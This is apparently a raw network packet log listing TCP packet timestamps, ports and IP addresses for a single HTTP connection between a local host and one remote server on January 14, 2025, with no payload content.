Jan 14, 2025 19:18:00.189970970 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189974070 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189984083 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189995050 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190013885 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190138102 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190149069 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190160036 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190171003 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190175056 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190184116 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190210104 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190234900 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190512896 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190522909 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190534115 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190545082 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190556049 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190560102 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190567017 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190574884 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190577030 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190603018 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190649986 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190660000 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190671921 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190680981 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190690994 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190701962 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190712929 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190723896 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190728903 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190740108 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190749884 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190749884 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190776110 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190793991 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190848112 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190860033 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190871000 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190881014 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.190901995 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190913916 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.190990925 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191001892 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191013098 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191023111 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191032887 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191052914 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191077948 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191103935 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191140890 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191250086 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191271067 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191297054 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191329002 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191406965 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191443920 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191458941 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191468954 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191492081 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191514969 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191515923 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191539049 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191556931 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191561937 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191586018 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191607952 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.191612005 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191637993 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.191663980 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.242468119 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.268315077 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268567085 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268657923 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268666029 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.268707991 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268755913 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268770933 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.268790007 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268821955 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268836975 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.268870115 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268901110 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268918037 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.268933058 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268970966 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.268979073 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269018888 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269052029 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269067049 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269083023 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269114017 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269131899 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269162893 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269195080 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269207001 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269228935 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269258976 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269274950 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269290924 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269321918 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269340038 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269355059 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269387007 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269402027 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269434929 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269465923 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269506931 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269516945 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269548893 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269572020 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269581079 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269613981 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269625902 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269645929 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269675970 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269692898 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269710064 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269741058 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269753933 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269773960 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269804955 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269834995 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269835949 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269867897 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269898891 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269901037 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269929886 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269947052 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.269963026 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.269993067 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270006895 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.270025969 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270071030 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270092964 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.270103931 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270134926 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270149946 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.270167112 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270199060 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270214081 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.270231962 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270262957 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270276070 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.270296097 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270325899 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.270347118 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276443005 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276453018 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276463985 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276473999 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276484013 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276489973 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276494026 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276504040 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276525974 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276563883 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276623011 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276746988 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276757002 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276768923 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276777983 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276778936 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276787996 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276796103 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276798010 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276808977 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276818037 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276827097 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276834965 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276838064 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276851892 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276856899 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276866913 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276869059 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276876926 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276885986 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276889086 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276896000 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276906967 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276915073 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276916981 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276926994 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276937008 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.276940107 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276973009 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.276984930 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277370930 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277512074 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277523041 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277533054 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277542114 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277543068 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277553082 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277561903 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277571917 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277579069 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277582884 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277599096 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277606964 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277615070 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277627945 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277632952 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277642012 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277652025 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277687073 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277713060 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277721882 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277730942 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277735949 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277741909 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277754068 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277764082 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277764082 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277776003 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277795076 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277797937 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277822971 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277837038 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.277975082 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277986050 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.277996063 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278006077 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278016090 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278026104 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278036118 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278038025 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.278045893 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278057098 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278064966 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.278075933 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.278098106 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278135061 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.278168917 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278178930 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278188944 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278199911 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.278208971 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.278233051 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356002092 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356074095 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356107950 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356151104 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356164932 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356216908 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356223106 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356249094 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356282949 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356298923 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356314898 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356359959 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356364012 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356416941 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356452942 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356472969 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356506109 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356539965 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356554985 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356570959 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356604099 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356623888 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356636047 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356668949 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356688023 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356700897 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356733084 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356748104 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356765032 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356796980 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356812000 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356828928 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356861115 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356877089 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356892109 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356924057 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356935978 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.356956005 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.356998920 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357019901 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357031107 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357064009 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357081890 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357095957 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357127905 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357141018 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357160091 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357193947 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357206106 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357225895 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357256889 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357285023 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357287884 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357321024 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357335091 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357352972 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357384920 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357398987 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357417107 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357451916 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357461929 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357480049 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357511044 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357527971 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357542038 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357573986 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357584953 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357608080 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357640028 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357662916 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.357671976 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.357714891 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363214970 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363265991 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363298893 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363370895 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363368988 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363420963 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363430023 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363456011 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363512993 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363513947 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363564014 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363607883 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363615990 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363662958 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363696098 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363718033 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363744020 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363775969 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363790035 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363807917 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363852024 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363857031 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363889933 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363930941 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.363938093 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.363970995 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364002943 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364010096 CET	49733	80	192.168.2.4	173.252.167.60
